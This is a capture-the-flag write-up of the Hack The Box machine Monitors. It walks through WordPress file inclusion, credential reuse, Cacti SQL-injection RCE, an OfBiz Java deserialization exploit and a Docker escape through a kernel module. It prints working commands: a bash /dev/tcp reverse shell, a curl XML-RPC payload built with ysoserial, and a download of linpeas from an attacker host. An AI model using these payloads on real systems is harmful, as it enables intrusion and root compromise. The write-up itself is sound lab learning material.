- Initial recon
- Exploiting Wordpress
- Escalating www-data user
- Privilege escalation
- Going into the rabbit hole
- Getting back on the track
- The great escape
Initial recon
Let’s start scan with running a nmap scan on all of the ports on the machine. Usually I run top 1000 ports and work on them while full scan is running, but let’s go all the way here.
sudo nmap -Pn -T4 -A --version-all 10.10.10.238 -p- -oA fullTCP
From these - only HTTP port looks interesting, since we rarely can do something on the SSH port.
But we can still see at least if we can log in using password - it can become important information when gaining user access
Seems like we can login using either password or ssh key - good for us
Let’s focus on the HTTP server now.
Accessing the site using IP address
We see that we cannot access the site in that way, but there is a contact to the administrator that uses domain monitors.htb
It is standard for HTB machines to use format
[MACHINE_NAME].htb
for domains, so let’s add an entry to file hosts
which will resolve that domain name to our local IP 127.0.0.1.
On Linux, that would be file /etc/hosts
or in location C:\Windows\System32\drivers\etc\hosts
if you are a Windows fan :)
Just add an entry
10.10.10.238 monitors.htb
somewhere in that file - need to be on separate new line.
Now we should be able to access the site with our browser by accessing using domain monitors.htb
instead of direct IP address.
We’re using domain name now
Seems like the site is running Wordpress, which is the most common CMS.
Let’s run content discovery on this site to find if there are any interesting resources on the site.
I’m using ffuf for that
ffuf -u http://monitors.htb/FUZZ -w wordlist.txt
As a wordlist, I use raft wordlists from https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content (concatenation of raft-large-directories-lowercase.txt
and raft-large-files-lowercase.txt
)
Results of ffuf - nothing out of ordinary besides typical Wordpress stuff
Exploiting Wordpress
When attempting to find vulnerability in Wordpress site, our go-to tool is almost always a WPScan. Account is necessary for the API token but it’s usage is straightforward.
Running it with
wpscan --url http://monitors.htb --api-token API_TOKEN --rua -o wpscan
You can look up all the options in help, --rua
is just for using random User Agent header when sending requests, not necessary here.
In the results, we have some interesting things:
Directory listing is enabled in the uploads folder. Always worth checking it, in that case there does not seem to be anything at all.
Version of Wordpress is pretty new (5.5.1
) - core has some vulnerabilities, but after looking at them, there are none for unauthenticated user which can be easily exploited.
That leaves us with the WP with Spritz
vulnerability - it even has a link to exploit-db, it definitely looks like our way in.
It seems to be file inclusion vulnerability. Some Remote File Inclusion
vulnerabilities in PHP allow us to include files with PHP code that will get included using include
function and executed.
However in this code - we can see in the exploit-db snippet that file_get_contents function is used. That one will simply read the content of the file.
Snippet of source code
It seems that we can specify either a local or remote location that will be read.
Let’s start with classic /etc/passwd
to see what users exist on the machine
Content of /etc/passwd
There is a marcus
user with assigned shell - need to keep it in mind as probably it will be useful later on.
Now we can check if we have access to his directory at all, maybe there will be some interesting files there.
Typical test is reading .bashrc
file as it should typically exist and be world-readable.
It’s preferable to read content of these files as source code in browser, reading it by curl/wget tools or by intercepting it with proxy like Burp Suite which is my choice.
If we are rendering these files as typical page, some content can be hidden from us because it will be treated as HTML tags.
Content of /home/marcus/.bashrc
If we can read .bashrc
file - other files that can have some interesting information for us are usually
It seems we cannot read any of these files, so let’s leave that directory for now and look for other interesting files. If nothing interesting comes our way we can always go back here and search more.
Typically, Wordpress installation has interesting configuration files that can be read. One of them is wp_config.php
. It should be near the root of the site, but we can find it by simply appending ../
to the file name until we find it.
Content of wp_config.php file
Here we have - database name, user and password as well as authentication keys and salts.
If you remember, during the nmap scan we did not find MYSQL port open, so it seems database is only accessible by localhost.
Therefore we cannot use these credentials BUT it is always worth it to try using that password and user to log in to other places.
Attempting login with SSH on port 22 using credentials marcus:[DB_PASSWORD]
and to Wordpress account on http://monitors.htb/wp-login.php
using wpadmin:[DB_PASSWORD]
and admin:[DB_PASSWORD]
credentials.
All of these attempts failed, so we are left with these authentication keys.
It seems it used to be possible to forge authentication cookie by using content of these keys and brute-force small character space to effortlessly login as admin (like here but it seems to be properly fixed dozens of years ago.
So we are left with searching for other interesting files in the filesystem. For starters, let’s use Linux LFI files list from here again using ffuf or simply Burp Suite Intruder tool.
ffuf -u http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url=FUZZ -w ./lfi.txt -fs 0
Interesting content seems to be in the default apache config file - as there are non-default comments in there
Content of /etc/apache2/sites-enabled/000-default.conf
It discloses one extra config file name, which sets up a site on domain cacti-admin.monitors.htb
. Adding it to the hosts
file and going to see what is it.
Site hosted on http://cacti-admin.monitors.htb
Quick google search for this software version gives us a RCE vulnerability through SQL injection here.
It is authenticated though.
Now we just need to somehow log in with valid credentials. Remember credentials from wp-config.php
? Entering admin:BestAdministrator@2020!
works and gives us access as the user.
Now just execute our exploit python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p "BestAdministrator@2020\!" --lhost <IP> --lport 4444
and we should get our reverse shell as a www-data.
Escalating www-data user
First thing I do with such a shell is using python t ogenerate a tty shell which works a bit better and allows us to see errors etc
python3 -c "import pty; pty.spawn('/bin/bash')"
Our user and listed network interfaces
Here we need to keep in mind we have different network interfaces connected and it seems docker is working here.
First bet would be to see what is stored in the database, and a basic enumeration using Linpeas script.
As we do not have either wget or curl here - let’s get linpeas on our server using python script python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.14.55:8888/linpeas.sh", "/tmp/linpeas.sh")'
Not much interesting things are shown here, but it looks like there is a service running on port 8443 on localhost.
In mysql database there is not much with our creds - just hash for an admin account but doesn’t seems that it can be easily found online, maybe we can attempt to crack it with hashcat if nothing else work.
Let’s manually go through the filesystem. There is an interesting directory .backup
in /home/marcus
location. We can enter there as it has executable permissions for all users, but wasn’t able to guess any filenames inside.
There is a /srv/gitlab
directory with some files - there we can find a config/gitlab.rb
file. Inside we have a password gitlab_rails['initial_root_password'] = "Sup3r_Adm1n15tr4t0r_p455w0rd"
. Maybe it will be useful for something.
Performing find find / -iname "*backup*" 2>/dev/null
to see if there are any scripts that are performing backups. /etc/systemd/system/cacti-backup.service
looks extra interesting.
Using it as a marcus password works and we have user access!
Privilege escalation
There is a service running on local port 8443 that we noticed earlier. We can create a tunenl to our machine by using SSH like ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443
.
Opening it locally in browser, by looking at the certificate - it seems to be issued for ofbiz-vm.apache.org
. Little bit of googling and ofbiz
seems to be some ERP system. App seems to be accessible by path /webtools
/webtools view
No default credentials seem to work here. However there seems to be exploitable vulnerabilities on this version of software with metasploit modules available.
Attempting to exploit that with metasploit linux/http/apache_ofbiz_deserialization_soap
module. However, no matter what module we choose, cannot achieve any kind of code execution which calls back to our host.
When enabling HTTPTrace option - we can see that in response to our payload, we receive error from the server
Error when using metasploit module
Probably the vulnerability exist, but we cannot make use of the default payload that is generated using ROME
library.
When attempting second metasploit exploit I get more non-sensible response with Exploit aborted due to failure: not-vulnerable: The target is not exploitable.
http://www.jackson-t.ca/runtime-exec-payloads.html - freaking gold to see if this works indeed.
Going into the rabbit hole
This will be a short journey where I did go atray from the exploit path - and while I learned a lot it was pretty unfortunate. As you can guess - after testing both of these exploits briefly, I was sure that the newest one is the path to victory as check was working. Let’s go and see why does this doesn’t work and how to make it.
I found commit that is responsible for fixing this issue here on 17.12 branch. Probably no blacklists on earlier versions, where POCs were written.
Class SafeObjectInputStream
did not exist until 16.x branch that’s why all POCs work probably.
It hints at java.rmi.server
class that can be used to exploit this issue through deserialization, looks like we should be able to do it that way. Now, I started how to execute code deserializing java.rmi.server
After some intensive research, I figured out there exist payloads JRMPClient
and JRMPListener
in ysoserial.
On the high-level, usage of these payloads goes like this. We create payload that is JRMPClient
- whose only job is connecting back to the listener. Then we host JRMPListener
on our host and make it host secondary payload (here it can be anything, as filters won’t be a problem here). Sending serialized object that is a JRMPClient
to the application should force the application to call our listener. Here, the call is attempting to do something called distributed garbage collection - JRMPListener
is able to cause an exception and deliver secondary payload through it. Best explanation how it is supposed to work for this usage is here straight from the author.
It took me some time to make it all work, however couldn’t quite get it to execute payload on the target machine. To see what exactly is wrong with this payload, decided it is time to build enviornment locally and see what is going on there.
Building ofbiz
Basic steps I took to build it locally were taken from here
I had to change gradle versions to newer ones in (gradle/wrapper/gradle-wrapper.properties) - changed to distribution to …/gradle-6.3-bin.zip Did it for both ofbiz-docker and ofbiz-framework.
If you encounter error java.lang.UnsupportedClassVersionError: at/bxm/gradleplugins/svntools/SvnToolsPlugin has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes cllass file versions up to 52.0
- necessary to downgrade version of this plugin. Downgrade at ofbiz-framework/build.gradle line at.bxm.gradleplugins:gradle-svntools-plugin:latest.release
to at.bxm.gradleplugins:gradle-svntools-plugin:2.2.1
Additionally, i went into the repository of ofbiz-framework and checked out to the desired version - just did git log
and searched for phrase 17.12.01
with search as in vim (just writing /17.12.01
). Then performing git checkout 8ff603476a
switches branch to the one with the same version as the target.
After building it and running - well it also did not work, the same as on the target server. Digging EVEN more into it, it seems the cause is too new Java version for this exploit to work out of the box. With introduction of the Java patch called JEP 290
there are some strict filters in place that prevent attacking directly with that exploit. To test it, I modified gradle build to install old version of Java. For this, had to use some other base image than JDK one (since they always download the newest Java) so just used ubuntu default image. In effect, beginning of my build.gradle
file looked like that
Older version of java has to be downloaded locally, JEP 290 was introcuded in Java 8u121 so it has to be before that.
Building it and running - now we are able to exploit it locally!
However, whatever I did, could not make it work on the HTB machine. So onwards to bypassing JEP 290!
There is interesing blog and research here - skimming right through it, it looks excatly what we would like to do. So still, going deeper and attempting to find some ready-to-use source code or exact steps explanation. But there did not seem to be any decent one… It started to look like I would need to recreate that research, understanding everything what is going on from ground up. Even though I had inklings earlier maybe I’m digging myself into the rabbit hole this was the point. No way that something like this is going on here - heck it is starting to look crazy even for the Insane machine. At the same time, I was sure that it is the service to exploit so what now ?
Getting back on the track
Started going back again and again - when I double verified metasploit exploits info and started to wonder - why the older one CVE-2020-9496
did not work? Versions matched after all. Even though check failed - just got some PoC from github and checked if machine will perform any action. And well… it actually did. Just felt like a fool for digging so much into the other exploit, but have to say learnt a ton about Java deserialization.
On the way I discovered an extra handy website for properly encoding any payload to run as Java code. Instead of uploading files and executing them like in PoC, i just create a reverse shell payload in bash with bash -i >& /dev/tcp/IP/PORT 0>&1
and select Bash type on our wonderful site. Then the encoded payload can be inserted directly into the ysoserial tool.
Creating payload:
java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "ENCODED_PAYLOAD" | base64 | tr -d "\n"
Sending payload with curl:
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">GENERATED_PAYLOAD</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml'
Now just listen on our host on target port and poof we should get a shell. Also we can see from java version that it is fairly new and has JEP 290 patch applied.
Our reverse shell
The great escape
Let’s start with the classic linpeas script to see if it shows anything interesting. Just keep in mind we are root here, so don’t pay attention to any local priv escalation techniques.
Mostly useless things, but there is one interesting output in relation to the docker.
Container capabilities
About it - let’s also look through the docker escape checklist which is a great resource.
It all leads us to abusing extra capabilities. These are esentially extra permissions in linux - our interesting permissions allow us to have full filesystem access and isnerting kernel modules.
One of them - CAP_SYS_MODULE
has a section with docker breakout by creating a kernel module with reverse shell.
We can simply go step-by-step with instruction and after issuing make
command, we should have file reverse-shell.ko
in our directory. Now just listening on the host as a marcus user and performing insmod reverse-shell.ko
grants us reverse shell as a root.
It is useful to use instructions lsmod
to list all kernel modules and rmmod
to delete one if someone already installed it before us.
Root access
All things considered - it was pretty fun and fairly easy box, at least if you do not stray from the path like me. Had an extra lesson about Java in this one but it is all about learning after all. Quite liked the approach with the vhost configuration file - realistic yet not really typical.